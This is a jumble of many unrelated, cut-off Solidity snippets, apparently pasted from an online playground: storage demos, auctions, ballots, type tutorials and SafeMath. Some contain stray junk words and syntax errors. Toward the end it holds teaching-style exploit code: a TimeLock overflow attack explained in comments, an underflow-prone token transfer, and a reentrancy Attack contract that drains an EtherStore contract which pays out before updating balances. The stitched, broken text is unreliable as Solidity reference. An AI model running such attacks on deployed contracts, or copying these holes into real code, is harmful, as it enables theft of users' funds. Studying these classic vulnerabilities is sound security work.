getOrgData[msg.sender] = Organizations({
organizationAddress: msg.sender,
organizationName: orgName,
organizat
contract ContractFoo {
mapping (address=>uint) somemapping; //not accessible unless there is a getter
function getMapping(address _address) public constant returns (uint) {
return somemapping[_address[
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.18;
contract example {
}
// // boolean : true, false
// bool b1 = true;
// // int : integer
// int i1 = 0;
// int i2;
// // uint : unsigned integer
// uint u1 = 0;
// // string : similar to bytes
// string s1 = "abc";
// // state variable : data permanently stored on the blockchain.
// int stateVariable = 0;
// function example() public view returns (address) {
// // local variable : data that exists only within a function
// uint localVariable = 0;
// localVariable += 1;
// /*
// global variable : it is data from a blockchain or contract,
// and can be retrieved from anywhere.
// */
// return msg.sender;
// }
// // state variable
// int intExample = 0;
// /*
// example1 is a function to access a state
// variable and change its value.
// */
// function example1() public {
// intExample = intExample + 1;
// }
// /*
// example2 is a function that re
pragma solidity ^0.4.20;
contract identafire{
/**
*Submitted for verification at BscScan.com on 2022-04-10
*/
/**
*Submitted for verification at BscScan.com on 2022-01-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory da
pragma solidity ^0.4.17;
contract Auction {
// Data
//Structure to hold details of the item
struct Item {
uint itemId; // id of the item
uint[] itemTokens; //tokens bid in favor of the item
}
//Structure to hold the details of a persons
struct Person {
uint remainingTokens; // tokens remaining with bidder
uint personId; // it serves as tokenId as well
address addr;//address of the bidder
}
mapping(address => Person) tokenDetails; //address to person
Person [4] bidders;//Array containing 4 person objects
Item [3] public items;//Array containing 3 item objects
address[3] public winners;//Array for address of winners
address public beneficiary;//owner of the smart contract
uint bidderCount=0;//counter
//functions
function Auction() public payable{ //constructor
//Part 1 Task 1. Initialize beneficiary with address of smart contract’sowner
//Hint. In the constructor,"msg.sender" is the address of the owner.
// ** Start code here. 1 line approximately. **/
beneficiary = msg.sender;
/
pragma solidity ^0.4.17;
contract Auction {
// Data
//Structure to hold details of the item
struct Item {
uint itemId; // id of the item
uint[] itemTokens; //tokens bid in favor of the item
}
//Structure to hold the details of a persons
struct Person {
uint remainingTokens; // tokens remaining with bidder
uint personId; // it serves as tokenId as well
address addr;//address of the bidder
}
mapping(address => Person) tokenDetails; //address to person
Person [4] bidders;//Array containing 4 person objects
Item [3] public items;//Array containing 3 item objects
address[3] public winners;//Array for address of winners
address public beneficiary;//owner of the smart contract
uint bidderCount=0;//counter
//functions
function Auction() public payable{ //constructor
//Part 1 Task 1. Initialize beneficiary with address of smart contract’sowner
//Hint. In the constructor,"msg.sender" is the address of the owner.
// ** Start code here. 1 line approximately. **/
beneficiary = msg.sender;
/
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
contract Ballot {
struct Voter{
uint weight;
bool voted;
uint8 vote;
}
struct Proposal{
uint voteCount;
}
enum Stage(Init,Reg,)
address chairperson;
Proposal[] proposals;
mapping(address => Voter) voters;
constructor(uint8 _numProposals) public{
chairperson = msg.sender;
proposals.length = _numProposals;
voters[chairperson].weight = 2;
}
function giveRightToVote(address voter) external {
require(
msg.sender == chairperson,"non sei il chairperson dioporco"
);
require(
!voters[voter].voted,"il votatore ha gia votato, dioporco"
);
require(voters[voter].weight == 0);
voters[voter].weight = 1;
}
function vote(uint8 proposal) external {
Voter storage sender = voters[msg.sender];
require(sender.weight != 0,"non hai diritto a votare, dioporco");
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
aaa
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public returns (uint) {
value = _value;
_value += 1
return value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
// Boolean : True, False
bool a = true;
bool b = false;
// int : integer (8bit ~ 256bit)
int i1; // = int256
int8 i2;
int16 i3;
int32 i4;
int64 i5;
int128 i6;
int256 i7;
// uint : usigned integer (8bit ~ 256bit)
uint u1; // = uint256
uint8 u2;
uint16 u3;
uint32 u4;
uint64 u5;
uint128 u6;
uint256 u7;
// float : can declaration but, can't assignment. (not yet implement)
fixed f1;
// address : account's address (20 bytes)
address a1;
// bytes : bytes array
byte
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.4.22 <0.6.0;
/// @title Voting with delegation.
contract Ballot {
// This declares a new complex type which will
// be used for variables later.
// It will represent a single voter.
struct Voter {
uint weight; // weight is accumulated by delegation
bool voted; // if true, that person already voted
address delegate; // person delegated to
uint vote; // index of the voted proposal
}
// This is a type for a single proposal.
struct Proposal {
bytes32 name; // short name (up to 32 bytes)
uint voteCount; // number of accumulated votes
}
address public chairperson;
// This declares a state variable that
// stores a `Voter` struct for each possible address.
mapping(address => Voter) public voters;
// A dynamically-sized array of `Proposal` structs.
Proposal[] public proposals;
/// Create a new
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Helloworld {
string message = "Hello world!";
function greeting() public view returns (string) {
return message;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
}
SimpleStore.set(3565);
SimpleStore.get()
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
mimimimii
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
// This contract is designed to act as a time vault.
// User can deposit into this contract but cannot withdraw for atleast a week.
// User can also extend the wait time beyond the 1 week waiting period.
/*
1. Deploy TimeLock
2. Deploy Attack with address of TimeLock
3. Call Attack.attack sending 1 ether. You will immediately be able to
withdraw your ether.
What happened?
Attack caused the TimeLock.lockTime to overflow and was able to withdraw
before the 1 week waiting period.
*/
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient f
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract Playground {
function compare(string _s1, string _s2)
pure
public
returns(bool) {
bytes memory b1 = bytes(_s1);
bytes memory b2 = bytes(_s2);
if (b1.length != b2.length) {
return false;
}
return keccak256(b1) == keccak256(b2);
}
function concat(string _s1, string _s2)
pure
public
returns(string) {
return string(abi.encodePacked(bytes(_s1), bytes(_s2)));
}
function strLen(string _str)
pure
public
returns(uint) {
bytes memory b = bytes(_str);
return (b.length);
}
function strReplace(string _from, string _what, string _to)
pure
public
returns(string) {
bytes memory bfrom = bytes(_from);
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
dfadf uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
do stuff
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.15;
contract Auction {
address payable owner;
struct item {
string item_name;
uint price;
address payable highest_bidder;
}
item public auctioned_item;
mapping(address => uint) public account_balances;
modifier ownerOnly() {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function setAuctionedItem(string memory _item, uint _price) public ownerOnly {
auctioned_item = item(_item, _price, address(0));
}
function finishAuction() public ownerOnly {
}
function bid() public payable {
}
function withdraw() public {
owner.transfer(auctioned_item.price);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Test {
uint num1 = 2;
uint num2 = 4;
function getResult(
) public view returns(
uint product, uint sum){
uint num1 = 10;
uint num2 = 16;
product = num1 * num2;
sum = num1 + num2;
}
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.6.4;
import "./EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// intialize the etherStore variable with the contract address
constructor(address _etherStoreAddress) public{
etherStore = EtherStore(_etherStoreAddress);
}
function attackEtherStore() public payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
//etherStore.depositFunds{value:1 ether}();
// start the magic
etherStore.withdrawFunds(msg.value);
}
function collectEther() public {
payable(msg.sender).transfer(address(this).balance);
}
// fallback function - where the magic happens
receive() payable external {
if (address(etherStore).balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.6.4;
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);
(bool success, ) = msg.sender.call{value: _weiToWithdraw}("");
require(success);
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = block.timestamp;
}
Ejemplos de contratos :
pragma solidity 0.8.7;
contract VendingMachine {
// Declarar las variables del estado del contrato
address public owner;
mapping (address => uint) public cupcakeBalances;
// Cuando se implementa el contrato "VendingMachine":
// 1. configurar la dirección de implantación como el propietario del contrato
// 2. configurar el saldo de magdalenas del contrato inteligente implementado en 100
constructor() {
owner = msg.sender;
cupcakeBalances[address(this)] = 100;
}
// Permitir que el propietario aumente el saldo de magdalenas del contrato inteligente
function refill(uint amount) public {
require(msg.sender == owner, "Only the owner can refill.");
cupcakeBalances[address(this)] += amount;
}
// Permitir que cualquier persona compre magdalenas
function purchase(uint amount) public payable {
require(msg.value >= amount * 1 ether, "You must pay at least 1 ETH per cupcake");
require(cupcakeBa
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SampleOverflow {
string constant statictext = \"HelloStackOverFlow\";
bytes32 constant byteText = \"HelloStackOverFlow\";
function getString() payable public returns(string){
return statictext;
}
function getByte() payable public returns(bytes32){
return byteText;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(address operator) public {
value = uint16(uint160(operator));
}
function get() public constant returns (int) {
return value;
}
int value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
uint tst;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {